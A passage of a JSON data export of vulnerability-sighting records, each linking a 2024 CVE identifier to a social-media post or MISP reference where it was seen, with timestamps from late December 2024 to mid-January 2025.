"CVE-2024-12978", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leb4vfytxw2k", "content": "", "creation_timestamp": "2024-12-27T04:15:33.586343Z"}, {"uuid": "f2e988b7-2d12-4bfe-a7ba-1294324c64f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113722915450338331", "content": "", "creation_timestamp": "2024-12-27T04:32:58.973982Z"}, {"uuid": "40784f0b-e269-4175-8ea6-69d13a7eeb5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113722933120796706", "content": "", "creation_timestamp": "2024-12-27T04:37:28.661392Z"}, {"uuid": "17f99c59-df00-4484-9e81-1d677f7d8741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12980", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723054626319681", "content": "", "creation_timestamp": "2024-12-27T05:08:22.569947Z"}, {"uuid": "91831b16-e631-4f87-b9cd-8e9c06743a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebaaqpm6z2a", "content": "", "creation_timestamp": "2024-12-27T05:15:35.927056Z"}, {"uuid": "af671b32-f30a-4cfa-8fff-b06e74ec8e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12980", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebaasvvpp2i", "content": "", "creation_timestamp": "2024-12-27T05:15:38.346999Z"}, {"uuid": "0bc01e8b-381c-4faf-b952-24bb737094cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12981", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723163471148400", "content": "", "creation_timestamp": "2024-12-27T05:36:03.618844Z"}, {"uuid": "11ec35a6-5b84-485e-8905-051fc41fca25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12981", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebdmiaw7g25", "content": "", "creation_timestamp": "2024-12-27T06:15:50.049801Z"}, {"uuid": "0e5f8799-4191-4e25-bf5e-9def07d8af07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12982", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebdmkcv3n22", "content": "", "creation_timestamp": "2024-12-27T06:15:52.416628Z"}, {"uuid": "9c144463-8ea6-4b2b-89b8-52dccf131406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12982", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723363096023472", "content": "", "creation_timestamp": "2024-12-27T06:26:51.845960Z"}, {"uuid": "5ca867b3-41e4-49b4-ad57-1fb02d984bdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12983", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113723398348853240", "content": "", "creation_timestamp": "2024-12-27T06:35:47.437297Z"}, {"uuid": "e0b8c5c2-2348-43c3-9981-22fa7c255a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12983", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lebgx6rkf522", "content": "", "creation_timestamp": "2024-12-27T07:15:30.704806Z"}, {"uuid": "4d6de915-6f21-4ac5-a7b1-74077ed8a3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113723885007461469", "content": "", "creation_timestamp": "2024-12-27T08:39:33.116802Z"}, {"uuid": "919e707f-a8d2-4fcd-8894-ce89ee81aec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/pauldokas.bsky.social/post/3lebzyudafc2q", "content": "", "creation_timestamp": "2024-12-27T12:56:29.868598Z"}, {"uuid": "65674a7c-d097-4f9a-adfe-effc5e5dcabb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/pauldokas.bsky.social/post/3lebzyudafc2q", "content": "", "creation_timestamp": "2024-12-27T12:56:29.920939Z"}, {"uuid": "027f2d77-40e0-4f20-8ffa-7489281443f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/pauldokas.bsky.social/post/3lebzyudafc2q", "content": "", "creation_timestamp": "2024-12-27T12:56:29.994081Z"}, {"uuid": "ef8cf72e-047e-4eed-95fa-2f4c3c292c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12157", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgbimee2o", "content": "", "creation_timestamp": "2025-01-07T05:16:21.849170Z"}, {"uuid": "0fc0b398-9a41-4f90-82b7-bebe1dfba3d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhkglt422", "content": "", "creation_timestamp": "2025-01-07T05:17:05.029370Z"}, {"uuid": "5d871e64-0d1a-444a-8639-a6faba37c1be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hbvbtx2i", "content": "", "creation_timestamp": "2025-01-07T08:15:53.332926Z"}, {"uuid": "0b92e618-1183-48a6-a325-d934962faf14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckh543os2i", "content": "", "creation_timestamp": "2025-01-09T11:15:58.286267Z"}, {"uuid": "1a48d2d9-8fd7-4b31-b327-b31ba21f9289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dkygb72k", "content": "", "creation_timestamp": "2025-01-10T20:38:18.698214Z"}, {"uuid": "55b1f990-306e-424f-8174-9ea42111349c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655813154438", "content": "", "creation_timestamp": "2025-01-11T07:57:54.624124Z"}, {"uuid": "97bb1059-f8d2-4cff-9d79-b7f5d901b5a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qgajd42w", "content": "", "creation_timestamp": "2025-01-13T06:37:16.328853Z"}, {"uuid": "a1bc34cc-9228-4714-9897-65ae5bc53713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-01-13T21:10:03.000000Z"}, {"uuid": "b8359b97-6e13-44a7-855b-8dad781c1de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfp37oam242e", "content": "", "creation_timestamp": "2025-01-14T10:47:58.444034Z"}, {"uuid": "97d18b77-df5f-42f0-9612-9f36f5350b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12158", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgdy7e422", "content": "", "creation_timestamp": "2025-01-07T05:16:24.553829Z"}, {"uuid": "67c51a12-1c4f-43ba-9dcd-1ce46faf12bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12170", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgj2vx62i", "content": "", "creation_timestamp": "2025-01-07T05:16:30.037507Z"}, {"uuid": "cd943841-be9d-480c-9aa9-3d0ac5d70a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12327", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhpruce2e", "content": "", "creation_timestamp": "2025-01-07T05:17:10.455446Z"}, {"uuid": "ce5e37c0-a7fd-4eed-a121-7b44f167fbbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12457", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vi3p6zx2f", "content": "", "creation_timestamp": "2025-01-07T05:17:22.996003Z"}, {"uuid": "108691fc-c07f-4141-87fc-2e3c1a30d01f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hegfve22", "content": "", "creation_timestamp": "2025-01-07T08:15:55.952653Z"}, {"uuid": "ee8d73a5-80fa-495d-a057-2c1b2d5e6013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhgm2jr2a", "content": "", "creation_timestamp": "2025-01-09T11:16:08.121164Z"}, {"uuid": "49db55d5-b01d-41a3-8db8-1cae438f6593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfg2dkv6ho2g", "content": "", "creation_timestamp": "2025-01-10T20:38:18.222642Z"}, {"uuid": "4db88c4b-1f19-4cf3-8f7a-0145b7dfcfa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfhb25xgd323", "content": "", "creation_timestamp": "2025-01-11T08:10:58.484822Z"}, {"uuid": "dcb2c9d7-f094-4f17-9e88-b63626edc649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12176", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vglpjtk2k", "content": "", "creation_timestamp": "2025-01-07T05:16:32.613931Z"}, {"uuid": "184caa20-6551-411b-94a8-d2827f3d40e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hegfve22", "content": "", "creation_timestamp": "2025-01-07T08:15:55.955699Z"}, {"uuid": "1394ca19-4c3c-4bb8-96d8-3b1ab1582609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhlhoex25", "content": "", "creation_timestamp": "2025-01-09T11:16:13.171741Z"}, {"uuid": "57582be6-6b45-483d-9462-5d3f8ba3add1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12207", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgoccj42i", "content": "", "creation_timestamp": "2025-01-07T05:16:35.249442Z"}, {"uuid": "32929f44-b7b5-437b-a86b-e2a9b877f443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf57hgtvf422", "content": "", "creation_timestamp": "2025-01-07T08:15:58.556538Z"}, {"uuid": "3d2390e2-53e1-4545-be04-835e01db99a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12605", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhqsyck22", "content": "", "creation_timestamp": "2025-01-09T11:16:19.131947Z"}, {"uuid": "9511144b-76a4-47da-9fc8-0d6e94fc6962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12848", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcki4ekgp2d", "content": "", "creation_timestamp": "2025-01-09T11:16:30.892679Z"}, {"uuid": "7dba4a06-6f41-45db-af53-4477964805e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113806028018338410", "content": "", "creation_timestamp": "2025-01-10T20:49:36.120326Z"}, {"uuid": "5603f5ce-f3e3-4c88-b317-86215573b2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113828013801323601", "content": "", "creation_timestamp": "2025-01-14T18:00:52.444598Z"}, {"uuid": "d13db46e-8773-4ef7-bf62-dad46534a677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12214", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgt3bre2e", "content": "", "creation_timestamp": "2025-01-07T05:16:40.595562Z"}, {"uuid": "d8a86b73-86bd-4a32-941b-7c6096439423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfb3ifhorh2i", "content": "", "creation_timestamp": "2025-01-08T21:15:34.823327Z"}, {"uuid": "8ee78912-d590-428e-be1d-df2432f31cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhxpbif2x", "content": "", "creation_timestamp": "2025-01-09T11:16:25.954508Z"}, {"uuid": "e5060c31-7dde-47b6-a304-5db6921592e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfp37oor2n2w", "content": "", "creation_timestamp": "2025-01-14T10:48:00.381337Z"}, {"uuid": "aee34d95-daeb-4b10-8330-1ce32b3b5b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12256", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgz25d62i", "content": "", "creation_timestamp": "2025-01-07T05:16:46.613166Z"}, {"uuid": "9433732e-6935-4e7c-8e6d-9fc08e1ff931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113826312846621124", "content": "", "creation_timestamp": "2025-01-14T10:48:18.215774Z"}, {"uuid": "ddef0635-999c-4159-9332-2216f1c312ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vh3q6mz2m", "content": "", "creation_timestamp": "2025-01-07T05:16:49.433721Z"}, {"uuid": "dcad7990-da88-4df8-b64a-de844e066a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbd2urb62d", "content": "", "creation_timestamp": "2025-01-11T08:15:56.663442Z"}, {"uuid": "5b6bb442-e5f4-4626-860e-34ffae817c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdfcjde2i", "content": "", "creation_timestamp": "2025-01-11T08:16:07.640196Z"}, {"uuid": "d05e783b-0c56-4370-b244-3ac983193634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vh73gyk2c", "content": "", "creation_timestamp": "2025-01-07T05:16:52.941771Z"}, {"uuid": "05488a01-15be-45cd-9a63-0e64a79a6e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3lf6chqmsny2t", "content": "", "creation_timestamp": "2025-01-07T18:42:29.668521Z"}, {"uuid": "49c50e3f-6a89-4017-bd07-87a239c6344c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfhbczdtch2a", "content": "", "creation_timestamp": "2025-01-11T08:15:55.371032Z"}, {"uuid": "c023831e-4ded-48c0-af7a-764e07acd642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12412", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbd7qsgd2l", "content": "", "creation_timestamp": "2025-01-11T08:16:01.858377Z"}, {"uuid": "41c08419-2d3f-4b93-8bd7-caef01aac827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfp3mxmz7i2b", "content": "", "creation_timestamp": "2025-01-14T10:55:24.273030Z"}, {"uuid": "b671b269-5abb-4bb6-a734-85d347707832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12290", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhccwfg2i", "content": "", "creation_timestamp": "2025-01-07T05:16:56.499779Z"}, {"uuid": "04564d39-baa4-49d7-9176-cc07b3bdaee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12067", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798164176079263", "content": "", "creation_timestamp": "2025-01-09T11:29:43.488100Z"}, {"uuid": "97ecabb0-54e0-436e-9cd3-08de9f44e1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbd5crif2x", "content": "", "creation_timestamp": "2025-01-11T08:15:59.371995Z"}, {"uuid": "730ec775-24e2-4d83-875a-033478c8f464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.121706Z"}, {"uuid": "304e47c3-3c73-4c29-80eb-272703677886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.173219Z"}, {"uuid": "c61f8e11-7827-4027-b834-6553893b8a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.216723Z"}, {"uuid": "9b9a1d30-794a-4967-8925-de41e081c384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.258177Z"}, {"uuid": "51d8cd4a-5caa-4472-8e6f-016345c23c94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfst3xl5222w", "content": "", "creation_timestamp": "2025-01-15T22:33:26.308811Z"}, {"uuid": "f1f5cde4-ea15-4613-97e8-1b6d07b766ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12270", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783262693768981", "content": "", "creation_timestamp": "2025-01-06T20:20:04.631686Z"}, {"uuid": "ae14b602-c2e5-41dc-a4c7-6945b00dbd44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12291", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhetdn62i", "content": "", "creation_timestamp": "2025-01-07T05:16:58.917967Z"}, {"uuid": "2a764bc5-4dfa-4b62-a6fa-3843c52dc13c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12122", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798164190581247", "content": "", "creation_timestamp": "2025-01-09T11:29:43.675242Z"}, {"uuid": "f9e65685-5f8d-4b8b-90dc-3ab519fcec50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdclfhs2k", "content": "", "creation_timestamp": "2025-01-11T08:16:04.761051Z"}, {"uuid": "eefd0a52-bb26-450c-9188-4b119c6c8f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113826412561947295", "content": "", "creation_timestamp": "2025-01-14T11:13:39.575398Z"}, {"uuid": "2bef896a-dd2d-4bea-a60d-5204f7e0f63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783263021420100", "content": "", "creation_timestamp": "2025-01-06T20:20:09.785213Z"}, {"uuid": "18ee105d-acfc-48c0-9d21-c0efd439ce1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhhhji425", "content": "", "creation_timestamp": "2025-01-07T05:17:01.732352Z"}, {"uuid": "373e172b-ff03-4bb2-856f-761802b025d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12470", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vian6ao2i", "content": "", "creation_timestamp": "2025-01-07T05:17:28.399240Z"}, {"uuid": "1e0c0233-cadd-4260-ada6-485d99efdb3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12206", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798223191041662", "content": "", "creation_timestamp": "2025-01-09T11:44:44.155495Z"}, {"uuid": "7055a386-ff01-4c64-9fcf-71fb3aff3a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhbdhvo3e2l", "content": "", "creation_timestamp": "2025-01-11T08:16:10.360269Z"}, {"uuid": "aeb88127-5ecb-4a3b-8926-3a8b7b41f100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 